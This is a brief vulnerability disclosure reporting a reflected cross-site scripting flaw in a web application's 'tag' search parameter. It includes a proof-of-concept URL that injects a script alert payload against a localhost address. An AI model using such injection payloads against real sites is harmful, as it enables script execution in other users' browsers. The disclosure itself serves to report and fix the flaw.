Due to the lax filtering of tag parameters, JS code can be inserted to cause cross-site scripting attacks.If the tag parameter is assigned to "<script>alert(123)</script>".Submitting in get mode can cause cross-site script attack.

The exp code is as follows:

[http://127.0.0.1/index.php?r=search%2Ftag&tag=<script>alert\(123\)</script>](http://127.0.0.1/index.php?r=search%2Ftag&tag=<script>alert(123)</script>)
